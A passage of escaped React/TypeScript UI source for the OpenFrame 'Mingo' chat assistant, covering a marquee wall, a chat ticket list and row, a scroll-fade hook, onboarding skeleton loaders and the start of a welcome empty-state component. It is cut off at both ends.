select-none',\n        className,\n      )}\n      // x-walls let vertical page-scroll pass (`pan-y`) and own horizontal\n      // drags; y-walls the reverse. Only when drag is actually live.\n      style={dragScroll && marqueeMounted ? { touchAction: axis === 'y' ? 'pan-x' : 'pan-y' } : undefined}\n      data-marquee-track={trackId}\n      onPointerEnter={onPointerEnter}\n      onPointerLeave={dragScroll ? onDragPointerLeave : onPointerLeave}\n      onPointerDown={dragScroll ? onDragPointerDown : undefined}\n      onPointerMove={dragScroll ? onDragPointerMove : undefined}\n      onPointerUp={dragScroll ? onDragPointerUp : undefined}\n      onPointerCancel={dragScroll ? onDragPointerUp : undefined}\n      onClickCapture={dragScroll ? onDragClickCapture : undefined}\n    >\n      <div\n        ref={trackRef}\n        className={cn(\n          axis === 'y' ? 'flex w-full flex-col' : 'flex w-max items-stretch',\n          // Keyed on the STRUCTURAL state so the compositor layer + seam gap\n          // stay put while the wall is frozen (paused) — dropping them on pause\n          // would repaint the frozen track and re-promote it on resume.\n          marqueeMounted && 'will-change-transform',\n        )}\n        style={marqueeMounted ? { gap: copyGap } : undefined}\n      >\n        <div\n          ref={copyRef}\n          data-marquee-copy=\"primary\"\n          className={cn(axis === 'x' && 'w-max shrink-0', contentClassName)}\n          style={contentStyle}\n        >\n          {renderContent(false)}\n        </div>\n        {marqueeMounted && (\n          <CloneCopy className={cn(axis === 'x' && 'w-max shrink-0', contentClassName)} style={contentStyle}>\n            {renderContent(true)}\n          </CloneCopy>\n        )}\n      </div>\n      {/* A fade means \"there's more\": it only paints while the content\n          actually overflows the container. A wall taller than its content\n          (e.g. a flex-filled panel) must show every chip crisp — a veil over\n          real rows and empty surface reads as a rendering bug. Plain mode\n          skips fades entirely (the consumer opted out of blur + marquee). */}\n      {mode === 'animated' && overflows && (\n        <MarqueeWallFades fade={fade} fadeColor={fadeColor} fadeSize={fadeSize} />\n      )}\n    </div>\n  )\n}\n","'use client'\n\nimport * as React from 'react'\nimport { cn } from '../../utils/cn'\nimport { ScrollFadeOverlay, useScrollFade } from '../ui/scroll-fade'\nimport { ChatTicketItem, type ChatTicketItemData } from './entity-cards/chat-ticket-item'\n\nexport interface ChatTicketListProps extends React.HTMLAttributes<HTMLDivElement> {\n  tickets: ChatTicketItemData[]\n  onTicketClick?: (ticketId: string) => void\n  /** Show skeleton placeholder rows instead of tickets while loading. */\n  isLoading?: boolean\n  /** Number of skeleton rows rendered while `isLoading`. Defaults to 5. */\n  skeletonCount?: number\n}\n\nconst ChatTicketList = React.forwardRef<HTMLDivElement, ChatTicketListProps>(\n  ({ className, tickets, onTicketClick, isLoading = false, skeletonCount = 5, ...props }, ref) => {\n    // Shared scroll-shadow tracking (ui/scroll-fade) — re-measures on resize\n    // and content changes, so no manual ticket-count effect is needed.\n    const { scrollRef, fadeTop, fadeBottom, update: updateFade } = useScrollFade<HTMLDivElement>()\n\n    if (isLoading) {\n      return (\n        <div ref={ref} className={cn(\"flex flex-col gap-2 min-h-0\", className)} {...props}>\n          <p className=\"text-h5 text-ods-text-secondary shrink-0\">Your Chats:</p>\n          <div className=\"border border-ods-border rounded-md flex-1 min-h-0 overflow-hidden\">\n            {Array.from({ length: skeletonCount }).map((_, i) => (\n              // eslint-disable-next-line react/no-array-index-key\n              <ChatTicketItem key={i} isLoading />\n            ))}\n          </div>\n        </div>\n      )\n    }\n\n    if (tickets.length === 0) return null\n\n    return (\n      <div ref={ref} className={cn(\"flex flex-col gap-2 min-h-0\", className)} {...props}>\n        <p className=\"text-h5 text-ods-text-secondary shrink-0\">Your Chats:</p>\n        <div\n          className={cn(\n            \"relative border-x border-ods-border flex-1 min-h-0 overflow-hidden\",\n            !fadeTop && \"border-t rounded-t-md\",\n            !fadeBottom && \"border-b rounded-b-md\",\n          )}\n        >\n          <div ref={scrollRef} className=\"overflow-y-auto overscroll-contain h-full\" onScroll={updateFade}>\n            {tickets.map((ticket) => (\n              <ChatTicketItem\n                key={ticket.id}\n                ticket={ticket}\n                onClick={onTicketClick}\n              />\n            ))}\n          </div>\n\n          {/* Scroll-fade overlays — tinted with the page background so edge\n              tickets fade into the surface behind the list in BOTH themes\n              (`--color-bg` flips with `data-theme`). Shared ui/scroll-fade. */}\n          <ScrollFadeOverlay edge=\"top\" visible={fadeTop} />\n          <ScrollFadeOverlay edge=\"bottom\" visible={fadeBottom} />\n        </div>\n      </div>\n    )\n  },\n)\n\nChatTicketList.displayName = 'ChatTicketList'\n\nexport { ChatTicketList }\nexport type { ChatTicketItemData }\n","'use client'\n\nimport * as React from 'react'\nimport { cn } from '../../utils/cn'\n\nexport type ScrollFadeAxis = 'vertical' | 'horizontal' | 'both'\n\n/**\n * Tracks whether a scrollable element is scrolled away from its edges, so\n * edge fades (\"scroll shadows\") can be shown only where content continues.\n * Attach `scrollRef` to the scrollable element and `update` to its\n * `onScroll`; content/size changes are re-measured via ResizeObserver.\n *\n * `axis` picks which edges are tracked: 'vertical' (top/bottom — default,\n * matches the original hook), 'horizontal' (left/right), or 'both'.\n *\n * Canonical fade pattern shared by chat lists, FilterModal, and the\n * `ScrollShadow` wrapper below.\n */\nexport function useScrollFade<T extends HTMLElement = HTMLDivElement>(axis: ScrollFadeAxis = 'vertical') {\n  const scrollRef = React.useRef<T | null>(null)\n  const [fade, setFade] = React.useState({ top: false, bottom: false, left: false, right: false })\n\n  const update = React.useCallback(() => {\n    const el = scrollRef.current\n    if (!el) return\n    setFade((prev) => {\n      const vertical = axis !== 'horizontal'\n      const horizontal = axis !== 'vertical'\n      const top = vertical && el.scrollTop > 0\n      const bottom = vertical && el.scrollHeight - el.scrollTop - el.clientHeight > 1\n      const left = horizontal && el.scrollLeft > 0\n      const right = horizontal && el.scrollWidth - el.scrollLeft - el.clientWidth > 1\n      return prev.top === top && prev.bottom === bottom && prev.left === left && prev.right === right\n        ? prev\n        : { top, bottom, left, right }\n    })\n  }, [axis])\n\n  React.useLayoutEffect(() => {\n    update()\n    const el = scrollRef.current\n    if (!el) return\n    const cleanups: Array<() => void> = []\n    if (typeof ResizeObserver !== 'undefined') {\n      const resizeObserver = new ResizeObserver(update)\n      resizeObserver.observe(el)\n      cleanups.push(() => resizeObserver.disconnect())\n    }\n    // ResizeObserver only sees the container box; content growth (appended\n    // list items) changes scrollHeight without resizing it — watch mutations.\n    if (typeof MutationObserver !== 'undefined') {\n      const mutationObserver = new MutationObserver(update)\n      mutationObserver.observe(el, { childList: true, subtree: true, characterData: true })\n      cleanups.push(() => mutationObserver.disconnect())\n    }\n    return () => {\n      for (const cleanup of cleanups) cleanup()\n    }\n  }, [update])\n\n  return {\n    scrollRef,\n    fadeTop: fade.top,\n    fadeBottom: fade.bottom,\n    fadeLeft: fade.left,\n    fadeRight: fade.right,\n    update,\n  }\n}\n\nexport type ScrollFadeEdge = 'top' | 'bottom' | 'left' | 'right'\n\nexport interface ScrollFadeOverlayProps {\n  /** Which edge of the scroll container the fade sits on. */\n  edge: ScrollFadeEdge\n  /** Whether the fade is currently shown (content continues past this edge). */\n  visible: boolean\n  /**\n   * CSS color the content fades into — should match the surface behind the\n   * list. Defaults to the page background token, which is theme-aware (the\n   * light theme redefines the token, so the fade flips with it).\n   */\n  color?: string\n  className?: string\n}\n\nconst EDGE_GRADIENT_ANGLE: Record<ScrollFadeEdge, string> = {\n  top: '0deg',\n  bottom: '180deg',\n  left: '270deg',\n  right: '90deg',\n}\n\n/**\n * Edge overlay that fades scrollable content into the surface behind it.\n * Render inside a `relative` wrapper around the scrollable element.\n * Vertical fades are 64px tall (legacy chat/FilterModal size); horizontal\n * fades are 40px wide per the ODS \"scroll gradient\" spec.\n */\nexport function ScrollFadeOverlay({\n  edge,\n  visible,\n  color = 'var(--color-bg)',\n  className,\n}: ScrollFadeOverlayProps) {\n  const isVertical = edge === 'top' || edge === 'bottom'\n  return (\n    <div\n      aria-hidden\n      className={cn(\n        'pointer-events-none absolute transition-opacity duration-150',\n        isVertical ? 'inset-x-0 h-16' : 'inset-y-0 w-10',\n        edge === 'top' && 'top-0',\n        edge === 'bottom' && 'bottom-0',\n        edge === 'left' && 'left-0',\n        edge === 'right' && 'right-0',\n        visible ? 'opacity-100' : 'opacity-0',\n        className,\n      )}\n      style={{\n        background: `linear-gradient(${EDGE_GRADIENT_ANGLE[edge]}, transparent 0%, ${color} 100%)`,\n      }}\n    />\n  )\n}\n\nexport interface ScrollShadowProps extends React.HTMLAttributes<HTMLDivElement> {\n  /** Which scroll direction(s) to track and fade. */\n  axis?: ScrollFadeAxis\n  /**\n   * CSS color of the fade — the surface the content visually sits on.\n   * Defaults to the page background token; pass e.g. `var(--color-bg-card)`\n   * when the scrollable sits on a card. Tokens are theme-aware, so the same\n   * component works in light and dark themes (dark by default).\n   */\n  color?: string\n  /** Classes for the inner scrollable element (heights, paddings, etc.). */\n  scrollClassName?: string\n  /** Extra classes for every fade overlay (e.g. custom size). */\n  overlayClassName?: string\n  children: React.ReactNode\n}\n\n/**\n * Drop-in wrapper that makes its child scrollable and fades the edges where\n * more content exists — right/left for horizontal overflow (wide tables),\n * top/bottom for vertical (long lists). Fades appear and hide automatically\n * as the user scrolls or the content resizes.\n *\n * ```tsx\n * <ScrollShadow axis=\"horizontal\">\n *   <WideTable />\n * </ScrollShadow>\n * ```\n */\nexport function ScrollShadow({\n  axis = 'vertical',\n  color = 'var(--color-bg)',\n  className,\n  scrollClassName,\n  overlayClassName,\n  children,\n  ...rest\n}: ScrollShadowProps) {\n  const { scrollRef, fadeTop, fadeBottom, fadeLeft, fadeRight, update } = useScrollFade<HTMLDivElement>(axis)\n  const vertical = axis !== 'horizontal'\n  const horizontal = axis !== 'vertical'\n\n  return (\n    <div className={cn('relative', className)} {...rest}>\n      <div\n        ref={scrollRef}\n        onScroll={update}\n        className={cn(horizontal && 'overflow-x-auto', vertical && 'overflow-y-auto', scrollClassName)}\n      >\n        {children}\n      </div>\n      {vertical && <ScrollFadeOverlay edge=\"top\" visible={fadeTop} color={color} className={overlayClassName} />}\n      {vertical && (\n        <ScrollFadeOverlay edge=\"bottom\" visible={fadeBottom} color={color} className={overlayClassName} />\n      )}\n      {horizontal && <ScrollFadeOverlay edge=\"left\" visible={fadeLeft} color={color} className={overlayClassName} />}\n      {horizontal && (\n        <ScrollFadeOverlay edge=\"right\" visible={fadeRight} color={color} className={overlayClassName} />\n      )}\n    </div>\n  )\n}\n","'use client'\n\nimport * as React from 'react'\nimport { cn } from '../../../utils/cn'\nimport { ChevronRight } from 'lucide-react'\nimport { TicketStatusTag, resolveStatusTagProps, resolveTicketStatus } from '../../ui/ticket-status-tag'\nimport { Tag } from '../../ui/tag'\nimport { Skeleton } from '../../ui/skeleton'\nimport { WrenchIcon } from '../../icons-v2-generated/household/wrench-icon'\n\nexport interface ChatTicketItemData {\n  id: string\n  title: string\n  ticketNumber: string\n  /** Accepts any known ticket status format (ACTIVE, active, ACTION_REQUIRED, etc.) */\n  status: string\n  /** Optional badge label override. If set, the badge text reads this\n   *  (e.g. HubSpot's `pipeline_stage_label` — \"New\" / \"Closed\" /\n   *  \"Waiting on contact\" / \"Waiting on version release\") while the\n   *  variant + check icon still come from the canonical `status`.\n   *  When omitted, the canonical status's default label is used\n   *  (\"Resolved\" for closed, \"Active\" for open, etc.). */\n  statusLabel?: string\n  /** Lifecycle (custom-status) kind — drives canonical-vs-color styling. */\n  statusKind?: string\n  /** Lifecycle (custom-status) hex color, used when the kind isn't canonical. */\n  statusColor?: string\n  category?: string\n  timeAgo?: string\n  /** When set, renders a \"Linked work\" chip with a wrench icon next to\n   *  the status tag — tells the customer at a glance that an internal\n   *  delivery task is in flight for this ticket, even before they\n   *  expand the row. The label is the linked task's status (e.g.\n   *  \"Waiting on version release\") so the chip carries the actual\n   *  progress signal, not just a generic marker. */\n  linkedTaskLabel?: string\n}\n\nexport interface ChatTicketItemProps extends Omit<React.ButtonHTMLAttributes<HTMLButtonElement>, 'onClick'> {\n  /** Optional while `isLoading` — the skeleton placeholder needs no data. */\n  ticket?: ChatTicketItemData\n  onClick?: (ticketId: string) => void\n  /** Render a non-interactive skeleton placeholder sized to a real row. */\n  isLoading?: boolean\n}\n\nconst ChatTicketItem = React.forwardRef<HTMLButtonElement, ChatTicketItemProps>(\n  ({ className, ticket, onClick, isLoading = false, ...props }, ref) => {\n    if (isLoading) {\n      return (\n        <div\n          aria-hidden\n          className={cn(\n            \"flex items-center gap-4 w-full h-20 px-4\",\n            \"bg-ods-card border-b border-ods-border\",\n            className,\n          )}\n        >\n          <div className=\"flex flex-col justify-center flex-1 min-w-0 gap-1\">\n            {/* title line */}\n            <Skeleton className=\"h-5 w-1/2\" />\n            {/* subtitle line */}\n            <Skeleton className=\"h-4 w-1/3\" />\n          </div>\n          {/* status tag */}\n          <Skeleton className=\"h-8 w-20 rounded-r-md shrink-0\" />\n          {/* chevron box */}\n          <Skeleton className=\"size-12 rounded-md shrink-0\" />\n        </div>\n      )\n    }\n\n    if (!ticket) return null\n\n    const statusTagProps = resolveStatusTagProps({\n      status: ticket.status,\n      statusKind: ticket.statusKind,\n      statusName: ticket.statusLabel,\n      statusColor: ticket.statusColor,\n    })\n    const isResolved = ticket.statusKind === 'RESOLVED' || resolveTicketStatus(ticket.status) === 'RESOLVED'\n\n    const subtitle = [ticket.ticketNumber, ticket.category, ticket.timeAgo]\n      .filter(Boolean)\n      .join(' \\u2022 ')\n\n    return (\n      <button\n        ref={ref}\n        type=\"button\"\n        onClick={() => onClick?.(ticket.id)}\n        className={cn(\n          \"flex items-center gap-4 w-full h-20 px-4\",\n          \"bg-ods-card border-b border-ods-border\",\n          \"cursor-pointer transition-colors duration-150\",\n          \"hover:bg-ods-bg-hover\",\n          // `focus-visible:` covers keyboard nav AND the post-click state\n          // jsdom/Chromium leave behind. Without it, the global focus\n          // ring (1.5px white) renders as a stray \"white border\" after\n          // clicking a row.\n          \"focus:outline-none focus:bg-ods-bg-hover\",\n          \"focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ods-accent focus-visible:ring-inset\",\n          className,\n        )}\n        {...props}\n      >\n        <div className=\"flex flex-col justify-center flex-1 min-w-0 text-left\">\n          <p\n            className={cn(\n              \"text-h3 truncate\",\n              isResolved ? \"text-ods-text-secondary\" : \"text-ods-text-primary\",\n            )} title={ticket.title}>\n            {ticket.title}\n          </p>\n          {subtitle && (\n            <p className=\"text-h6 text-ods-text-secondary truncate\" title={subtitle}>\n              {subtitle}\n            </p>\n          )}\n        </div>\n\n        {/* Linked-work chip — only renders when the ticket has a\n            linked ClickUp delivery. Wrench icon + lowercase status\n            from the linked task. Rendered to the LEFT of the status\n            tag so the canonical ticket status still wins the\n            right-aligned slot. Hidden on small screens (sm:flex) to\n            avoid crowding the row when both badges are present. */}\n        {ticket.linkedTaskLabel && (\n          <Tag\n            label={ticket.linkedTaskLabel}\n            variant=\"outline\"\n            icon={<WrenchIcon size={14} color=\"var(--color-text-secondary)\" />}\n            className=\"shrink-0 hidden sm:inline-flex\"\n          />\n        )}\n        {(statusTagProps.status || statusTagProps.label) && <TicketStatusTag {...statusTagProps} />}\n\n        <div className=\"flex items-center justify-center shrink-0 size-12 rounded-md bg-ods-card border border-ods-border\">\n          <ChevronRight className=\"size-6 text-ods-text-secondary\" />\n        </div>\n      </button>\n    )\n  },\n)\n\nChatTicketItem.displayName = 'ChatTicketItem'\n\nexport { ChatTicketItem }\n","'use client'\n\nimport * as React from 'react'\nimport { cn } from '../../utils/cn'\nimport { Skeleton } from '../ui/skeleton'\n\nexport interface MingoOnboardingCardSkeletonProps {\n  /** Title bar width — Tailwind width utility. Defaults to `w-32`. Vary\n   *  per row in the list skeleton so the stack doesn't look uniform. */\n  titleWidth?: string\n  /** Slash-command bar width — Tailwind width utility. Defaults to `w-20`. */\n  slashWidth?: string\n  /** Description lines (1 or 2). Defaults to 2 — matches the typical\n   *  card from Figma node `7363:205938`. */\n  descriptionLines?: 1 | 2\n  /** Chip widths for the action row. Defaults to mirror the\n   *  `Recent / Search / Find` triad from the live cards. Pass an\n   *  empty array to hide the chip row entirely (matches `actions: []`). */\n  chipWidths?: ReadonlyArray<string>\n  /** Optional className appended to the root cell. */\n  className?: string\n}\n\n/**\n * 1:1 skeleton placeholder for `MingoOnboardingCard` (Figma node\n * `7363:205939`).\n *\n * Mirrors the live card's outer structure pixel-for-pixel:\n *   - `p-[var(--spacing-system-s)]` cell, `bg-ods-card`,\n *     `border-b border-ods-border last:border-b-0` divider\n *   - `size-4` icon slot, `text-h6`-tall title bar + right-aligned\n *     slash-command bar\n *   - 1–2 description lines using `text-h6`-tall bars\n *   - `h-7` outline-chip placeholders matching the card's action row\n *\n * Render multiple inside a `rounded-md border border-ods-border\n * overflow-hidden` container so the bottom-border on each row forms\n * a 1-px divider, identical to how the live list stacks.\n */\nexport function MingoOnboardingCardSkeleton({\n  titleWidth = 'w-32',\n  slashWidth = 'w-20',\n  descriptionLines = 2,\n  chipWidths = ['w-16', 'w-16', 'w-12'],\n  className,\n}: MingoOnboardingCardSkeletonProps) {\n  const hasChips = chipWidths.length > 0\n  return (\n    <div\n      className={cn(\n        'flex w-full items-start p-[var(--spacing-system-s)] bg-ods-card border-b border-ods-border last:border-b-0',\n        className,\n      )}\n    >\n      <div className=\"flex flex-col gap-[var(--spacing-system-xxs)] w-full\">\n        {/* Title row — icon + title bar + right-rail slash bar. */}\n        <div className=\"flex items-center gap-[var(--spacing-system-xxs)] w-full\">\n          <Skeleton className=\"size-4 shrink-0 rounded-sm\" />\n          <Skeleton className={cn('h-3.5 rounded-sm', titleWidth)} />\n          <span className=\"flex-1\" />\n          <Skeleton className={cn('h-3.5 rounded-sm shrink-0', slashWidth)} />\n        </div>\n        {/* Description — 1 or 2 lines; second line is 70% so the\n         *  ragged edge mimics natural text wrapping. */}\n        <div className=\"flex flex-col gap-[var(--spacing-system-xxs)]\">\n          <Skeleton className=\"h-3.5 w-full rounded-sm\" />\n          {descriptionLines === 2 ? (\n            <Skeleton className=\"h-3.5 w-[70%] rounded-sm\" />\n          ) : null}\n        </div>\n        {/* Action chip row — `h-7` matches the live card's outline\n         *  chips so the skeleton sits at exactly the same height. */}\n        {hasChips ? (\n          <div className=\"flex flex-wrap items-center gap-[var(--spacing-system-xxs)] mt-[var(--spacing-system-xs)]\">\n            {chipWidths.map((w, i) => (\n              <Skeleton key={i} className={cn('h-7 rounded-md', w)} />\n            ))}\n          </div>\n        ) : null}\n      </div>\n    </div>\n  )\n}\n\nexport interface MingoOnboardingListSkeletonProps {\n  /** Row count. Defaults to 6 — fills the typical empty-state\n   *  viewport so the loader doesn't pop in shorter than the resolved\n   *  list. */\n  rows?: number\n  /** Optional className appended to the rounded outer container. */\n  className?: string\n}\n\n/**\n * Stack of `MingoOnboardingCardSkeleton` rows wrapped in the same\n * `rounded-md border overflow-hidden` shell the live empty-state\n * list uses. Drop-in replacement for the resolved card list while\n * `/api/docs/commands` is in-flight.\n *\n * Row widths cycle through a deterministic palette so the stack\n * doesn't look uniform but also doesn't shift between renders.\n */\nexport function MingoOnboardingListSkeleton({\n  rows = 6,\n  className,\n}: MingoOnboardingListSkeletonProps) {\n  return (\n    <div\n      role=\"status\"\n      aria-label=\"Loading slash commands\"\n      aria-busy=\"true\"\n      className={cn(\n        'rounded-md border border-ods-border bg-ods-card overflow-hidden',\n        className,\n      )}\n    >\n      {Array.from({ length: rows }).map((_, i) => {\n        const variant = ROW_VARIANTS[i % ROW_VARIANTS.length]\n        return (\n          <MingoOnboardingCardSkeleton\n            key={i}\n            titleWidth={variant.titleWidth}\n            slashWidth={variant.slashWidth}\n            descriptionLines={variant.descriptionLines}\n          />\n        )\n      })}\n    </div>\n  )\n}\n\n/**\n * Deterministic per-row width variation so the skeleton stack feels\n * like a real, irregular list. Cycled by index — same input renders\n * the same output, no `Math.random` jitter on re-mount.\n *\n * Widths picked to approximate the live `/api/docs/commands` payload:\n *   - titles range from short (\"Webinars\") to long\n *     (\"OpenFrame Pull Requests\")\n *   - slashes range from `/docs` to `/getting-started`\n */\nconst ROW_VARIANTS: ReadonlyArray<{\n  titleWidth: string\n  slashWidth: string\n  descriptionLines: 1 | 2\n}> = [\n  { titleWidth: 'w-32', slashWidth: 'w-20', descriptionLines: 2 },\n  { titleWidth: 'w-28', slashWidth: 'w-16', descriptionLines: 2 },\n  { titleWidth: 'w-40', slashWidth: 'w-24', descriptionLines: 2 },\n  { titleWidth: 'w-44', slashWidth: 'w-28', descriptionLines: 2 },\n  { titleWidth: 'w-36', slashWidth: 'w-24', descriptionLines: 1 },\n  { titleWidth: 'w-24', slashWidth: 'w-16', descriptionLines: 2 },\n]\n","'use client'\n\nimport * as React from 'react'\nimport { cn } from '../../utils/cn'\nimport { MingoIcon } from '../icons'\nimport { MingoChatHistorySkeleton } from './mingo-chat-history'\nimport { QuickActionChipButton } from './quick-action-chip'\nimport { QuickActionWall } from './quick-action-wall'\nimport { Button } from '../ui/button'\nimport { ScrollFadeOverlay, useScrollFade } from '../ui/scroll-fade'\nimport { XmarkIcon } from '../icons-v2-generated/signs-and-symbols/xmark-icon'\nimport {\n  CompassIcon,\n  Arrow01DownIcon,\n  AlertCircleIcon,\n  Refresh01RightIcon,\n} from '../icons-v2-generated'\n\n// =============================================================================\n// Types\n// =============================================================================\n\n/** \"New to OpenFrame?\" one-time notification config. `null` hides the card. */\nexport interface MingoWelcomePromo {\n  title: React.ReactNode\n  description: React.ReactNode\n}\n\n/** Extra quick-action chip rendered after the built-in \"Start Guide Chat\". */\nexport interface MingoQuickAction {\n  /** Stable React key. */\n  id: string\n  label: string\n  icon?: React.ReactNode\n  /** `'primary'` = accent (yellow) chip, `'outline'` = bordered chip. */\n  variant?: 'primary' | 'outline'\n  onClick?: () => void\n  /** Full prompt text previewed as ghost text in the composer on hover/focus.\n   *  The chip `label` is short; this reveals what the action will actually ask.\n   *  Omitted → falls back to `label`. */\n  prompt?: string\n}\n\nexport interface MingoWelcomeProps {\n  /** Greeting heading. Defaults to `Hey, I'm Mingo`. */\n  title?: React.ReactNode\n  /** Greeting sub-line under the heading. */\n  subtitle?: React.ReactNode\n  /** One-time \"New to OpenFrame?\" notification below the grid. `null` hides\n   *  it; omitting falls back to the OpenFrame default (only rendered when\n   *  `onStartGuideChat` is wired, i.e. Guide mode exists to advertise). */\n  promo?: MingoWelcomePromo | null\n  /** Storage key used to remember the promo dismissal. */\n  promoStorageKey?: string\n  /** Where the dismissal is persisted. `'local'` (default) survives across\n   *  sessions; `'session'` clears when the tab closes. */\n  promoStorage?: 'local' | 'session'\n  /** Extra quick-action chips appended after the \"Start Guide Chat\" chip. */\n  quickActions?: ReadonlyArray<MingoQuickAction>\n  /** Pointer/keyboard focus enters a quick-action chip — e.g. preview the\n   *  action's full `prompt` in the composer input. */\n  onQuickActionHover?: (action: MingoQuickAction) => void\n  /** Pointer/keyboard focus leaves the chip — e.g. restore the composer. */\n  onQuickActionHoverEnd?: () => void\n  /** Returning-user variation: the user already has chats. Hides the\n   *  \"New to OpenFrame?\" notification entirely and renders the \"Start Guide\n   *  Chat\" chip in the muted `outline` style instead of the accent yellow. */\n  hasExistingChats?: boolean\n  /** Returning-user main content — when provided (typically a\n   *  `<MingoChatHistory>`), it replaces the greeting + feature grid and owns\n   *  its own scroll region. The chips below stay pinned. */\n  dialogHistory?: React.ReactNode\n  /** True while the FIRST page of dialogs is still loading and we don't yet\n   *  know if the user is new or returning. Renders a history skeleton in place\n   *  of both the greeting+grid and the history, so the empty state doesn't\n   *  flash the new-user layout before the list arrives. Ignored once\n   *  `dialogHistory` is provided. */\n  isLoadingHistory?: boolean\n  /** The dialog-list load FAILED (e.g. backend down) and there's nothing\n   *  cached. Renders an error + retry block in place of the new-user empty\n   *  state (which would otherwise misleadingly advertise Guide). Takes\n   *  priority over `isLoadingHistory`. Ignored once `dialogHistory` is set. */\n  loadError?: boolean\n  /** Retry handler for the `loadError` state. */\n  onRetry?: () => void\n  /** When provided, renders the \"Start Guide Chat\" chip (the only wired\n   *  action — switches the host chat to Guide mode) and enables the default\n   *  promo notification. When omitted, both are suppressed. */\n  onStartGuideChat?: () => void\n  /** Agent this empty state belongs to — forwarded to the quick-action\n   *  {@link QuickActionWall} so a built-in agent (`'fae'`/`'mingo'`) caps the\n   *  brick stack at 2 rows. Defaults to `'mingo'` (this is the Mingo surface). */\n  agentSlug?: string\n  /** Appended to the root element. */\n  className?: string\n}\n\n// =============================================================================\n// Defaults (OpenFrame copy — overridable per Core Rule: platform-agnostic kit)\n// =============================================================================\n\nconst DEFAULT_SUBTITLE =\n  'Ready to help with your technical tasks. What can I do for you?'\n\nconst DEFAULT_PROMO: MingoWelcomePromo = {\n  title: 'New to OpenFrame?',\n  description: 'Start a Guide Chat to learn how it works and how to set it up.',\n}\n\nconst DEFAULT_PROMO_STORAGE_KEY = 'mingo-welcome:promo-dismissed'\n\n// =============================================================================\n// Component\n// =============================================================================\n\n/**\n * MingoWelcome — Figma node `113:69208`.\n *\n * Default (Mingo-mode) chat empty state: a vertically-centred greeting that\n * grows to fill available height, then a pinned stack of an optional one-time\n * \"New to OpenFrame?\" notification and a quick-action chip row. The Guide-mode\n * empty state keeps the slash-command onboarding list.\n *\n * Content is configurable (props) with OpenFrame defaults so the kit stays\n * platform-agnostic. The \"Start Guide Chat\" chip is the only wired action —\n * it switches the host chat to Guide mode via `onStartGuideChat`. The\n * notification carries no action; its dismiss \"X\" persists to local/session\n * storage so it shows only until the user closes it once.\n */\nexport function MingoWelcome({\n  title,\n  subtitle = DEFAULT_SUBTITLE,\n  promo,\n  promoStorageKey = DEFAULT_PROMO_STORAGE_KEY,\n  promoStorage = 'local',\n  quickActions,\n  onQuickActionHover,\n  onQuickActionHoverEnd,\n  hasExistingChats = false,\n  dialogHistory,\n  isLoadingHistory = false,\n  loadError = false,\n  onRetry,\n  onStartGuideChat,\n  agentSlug = 'mingo',\n  className,\n}: MingoWelcomeProps) {\n  // Greeting never weaves the user's name in — always the plain \"Hey, I'm\n  // Mingo\" (design node 113:69208). A host `title` override still wins.\n  const heading = title ?? \"Hey, I'm Mingo\"\n\n  // `promo` omitted → fall back to the OpenFrame default, but only when guide\n  // mode exists to advertise (otherwise the notification points nowhere).\n  // Returning users (`hasExistingChats`) never see the onboarding notification.\n  const resolvedPromo = hasExistingChats\n    ? null\n    : promo === undefined\n      ? onStartGuideChat\n        ? DEFAULT_PROMO\n        : null\n      : promo\n\n  // One-time notification: hydrate the dismissal from storage after mount\n  // (SSR-safe — `window` is untouched on the server). Default to \"not\n  // dismissed\" so the first paint shows it, then hide if storage says so.\n  const [promoDismissed, setPromoDismissed] = React.useState(false)\n  React.useEffect(() => {\n    if (!resolvedPromo) return\n    try {\n      const store =\n        promoStorage === 'session' ? window.sessionStorage : window.localStorage\n      if (store.getItem(promoStorageKey) === '1') setPromoDismissed(true)\n    } catch {\n      // Storage can throw (private mode, blocked cookies) — treat as\n      // \"not dismissed\" and simply keep showing the notification.\n    }\n  }, [resolvedPromo, promoStorage, promoStorageKey])\n\n  const dismissPromo = React.useCallback(() => {\n    setPromoDismissed(true)\n    try {\n      const store =\n        promoStorage === 'session' ? window.sessionStorage : window.localStorage\n      store.setItem(promoStorageKey, '1')\n    } catch {\n      // Best-effort persistence; the in-memory state still hides it for\n      // the rest of this session.\n    }\n  }, [promoStorage, promoStorageKey])\n\n  // Scroll-fade affordances — shared ui/scroll-fade (48px edge gradients shown\n  // only while content is hidden in that direction).\n  const { scrollRef, fadeTop, fadeBottom, update: updateScrollFade } = useScrollFade<HTMLDivElement>()\n\n  // While we don't yet know whether the user is new or returning (first page\n  // loading, or it errored with nothing cached), suppress the pinned region —\n  // the \"New to OpenFrame?\" promo + quick-action chips. Showing them over the\n  // history skeleton both clutters the loading frame and pre-judges the user as\n  // new. They return once a resolved state (history, or the new-user greeting)\n  // renders. `dialogHistory` always wins — a returning user keeps the chips.\n  const showPinnedRegion = !!dialogHistory || (!isLoadingHistory && !loadError)\n\n  return (\n    <div\n      className={cn(\n        // `@container` makes the panel itself the responsive context (the\n        // drawer width ≠ viewport width) so the notification's down-arrow can\n        // appear only once the panel is genuinely wide.\n        '@container flex flex-1 min-h-0 flex-col gap-[var(--spacing-system-m)]',\n        className,\n      )}\n    >\n      {/* Returning users see their dialog history (its own scroll region) in\n          place of the greeting + grid. Precedence: load error (retry) → first-\n          page loading (skeleton) → new-user greeting+grid. The error branch\n          stops a failed fetch from masquerading as \"no chats\" (which would\n          otherwise show the Guide promo). */}\n      {dialogHistory ?? (loadError ? (\n        <div className=\"flex flex-1 min-h-0 flex-col items-center justify-center gap-[var(--spacing-system-m)] text-center\">\n          <AlertCircleIcon className=\"h-8 w-8 text-ods-text-secondary shrink-0\" />\n          <div className=\"flex flex-col gap-[var(--spacing-system-xxs)]\">\n            <p className=\"text-h4 text-ods-text-primary\">Couldn’t load your chats</p>\n            <p className=\"text-body-sm text-ods-text-secondary\">\n              Something went wrong reaching the server. Check your connection and try again.\n            </p>\n          </div>\n          {onRetry && (\n            <Button\n              variant=\"outline\"\n              size=\"small\"\n              leftIcon={<Refresh01RightIcon />}\n              onClick={onRetry}\n            >\n              Try again\n            </Button>\n          )}\n        </div>\n      ) : isLoadingHistory ? (\n        <MingoChatHistorySkeleton />\n      ) : (\n      <>\n      {/* Scrollable region — only the greeting + grid scroll; the notification\n          and chips below stay pinned so they're always visible above the\n          input. The wrapper is `relative` so the scroll-fade gradients can\n          overlay the top/bottom edges. */}\n      <div className=\"relative flex flex-1 min-h-0 flex-col\">\n      <div\n        ref={scrollRef}\n        onScroll={updateScrollFade}\n        className=\"flex flex-1 min-h-0 flex-col gap-[var(--spacing-system-m)] overflow-y-auto overscroll-contain\"\n      >\n        {/* Greeting — grows to fill 